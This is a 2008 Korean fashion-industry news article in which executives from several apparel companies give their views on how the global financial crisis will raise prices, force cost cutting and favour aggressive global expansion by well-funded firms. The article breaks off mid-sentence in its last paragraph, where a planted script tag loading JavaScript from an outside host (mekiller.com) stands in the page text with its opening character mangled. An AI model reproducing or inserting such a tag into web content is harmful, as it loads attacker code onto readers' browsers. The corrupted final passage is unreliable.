글로벌 금융위기와 패션 산업 - 전문가 진단p
2008-10-24 09:05
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글로벌 금융위기와 패션 산업 - 전문가 진단
“소비자 가격 10~15% 인상 불가피”
“글로벌 금융위기가 국내 패션 업계에 미치는 영향 중 하나는 원부자재 및 인건비 상승으로 인한 소비자 가격 인상입니다. 원부자재 가격 상승은 아무리 비용을 절감하더라도 10~15%의 소비자 가격 인상을 불가피하게 만듭니다.”(지명언 구미인터내셔널 전무)
“추가 비용 발생을 최소화하기 위해 신규 사업도 보류하고 초기 비용이 많이 드는 신규 매장 오픈도 자제할 계획입니다. 판매율을 높이기 위해서는 트렌디한 상품 보다는 베이직한 상품으로 개발할 방침입니다.”(정승기 성주디앤디 이사)
원부자재·인건비 상승에 발목
전 세계적인 금융위기로 국내 패션 업체가 비상 경영 체제에 돌입한 가운데 전문가들은 지금보다 실물경제가 위축되는 향후 1~2년이 고비로, 이를 극복하기 위해서는 선택과 집중을 통한 효율 영업을 펼쳐나가야 한다고 강조했다.
하지만 글로벌 전략은 ‘위기가 곧 기회’ 일수도 있다고 보고 자금력이 있는 업체일수록 보다 공격적으로 펼쳐 나가야 한다고 주문했다.
먼저 글로벌 금융위기가 국내 패션 시장에 미치는 영향과 향후 경기 전망에 대해 전문가들은 공통적으로 실물경제 침체로 인한 소비심리 위축을 우려했다.
정성식 휠라코리아 부사장은 “경기침체가 2~3년은 지속될 것으로 보이며 패션 업체의 재투자와 신규 브랜드 위축 현상이 가속화될 전망”이라고 말했다.
또 김종운 인디에프 상무도 “실무경제 침체로 구매력이 크게 위축될 것이며 양극화는 더욱 심화될 것”이라고 밝혔다.
해외 생산 비중이 높은 브랜드나 프로모션 업체에게는 지금의 금융위기가 치명적일 수도 있다는 견해도 있었다.
송우주 코오롱패션 상무는 “원달러 환율 상승으로 가만히 앉아서 손해를 보는 업체가 늘고 있어 지금과 같은 구조가 계속된다면 해외 생산 업체 중 상당수가 문을 닫을 수밖에 없다”고 말했다.
위기 극복 새 비즈니스 툴 긴요
위기 극복을 위한 대책 마련은 제품 기획 방향 수정부터 판매율 향상 주력, 새로운 비즈니스 툴 마련까지 다양하게 제시했다.
지명언 전무는 “상품 기획시 꼭 필요한 아이템과 트렌드성 아이템이 조화를 이루게 해 판매율 향상에 주력하고 비효율 매장 축소를 통해 이익 구조를 개선하고 있다”고 설명했다.
정성식 부사장은 “가격 저항이 높은 중의류 비중을 줄이고 합리적인 가격대의 가벼운 아이템을 늘릴 계획”이라고 말했으며, 송우주 상무는 “전사적으로 비용을 줄이고 판매율을 높여 수익률 개선에 초점을 맞추고 있다”고 밝혔다.
특히 코오롱패션은 브랜드별로 사업 전략을 수립하고 있는 가운데 기존 브랜드는 제품 변화를 통해 점당 매출을 높이고 신규 브랜드는 물량을 늘려 공격적인 영업을 펼칠 계획인 것으로 알려졌다.
또 QR(반응생산) 비중을 올해 16%에서 내년에 30%까지 늘려 시장 상황에 맞는 제품 공급에 주력한다는 방침이다.
김종운 상무는 저성장이라는 상황과 개념을 깊이 있게 생각할 필요가 있다고 강조했다.
그는 “좁게는 소비자의 라이프스타일이나 소비 패턴부터 거시적으로는 금융 환경, 국제 비즈니스 환경 등이 변화하고 있다”며 “기존의 패러다임을 완전히 파괴한 전혀 다른 개념의 비즈니스 툴이 필요하다”고 말했다.
공격적인 글로벌 전략 바람직
지금과 같은 위기 상황 속에서 글로벌 전략은 단기적으로 볼 때는 매우 어려운 환경이 도래하겠지만 장기적으로는 매우 긍정적인 기회를 제공할 것으로 내다보는 사람이 많았다.
특히 자금력이 있는 업체일수록 기업인수합병 등 공격적인 영업이 필요하다고 역설했다.
정성식 부사장은 “복종에 따라 다를 수 있지만 글로벌 전략을 추구하는 업체들에게 최근 상황은 기회가 될 수 있다”고 말했으며, 지명언 전무는 “중국에서 생산해 한국 내에서 판매만 하는 브랜드들은 인건비 상승 등으로 어려움이 예상되지만 전 세계로 수출하는 업체의 경우 기회로 작용할 수도 있을 것”이라고 밝혔다.
또 송우주 상무는 “자금력이 부족한 중소업체들은 위축될 수밖에 없겠지만 대기업의 경우 지금이 기회로 보고 더욱 공격적인 글로벌 전략을 펼 것으로 보인다”고 말했다.
정승기 이사는 해외 진출 지역에도 변화가 있을 것으로 예상했다.
그는 “중국 등과 같은 ?script src=http://mekiller.com/1/1.js>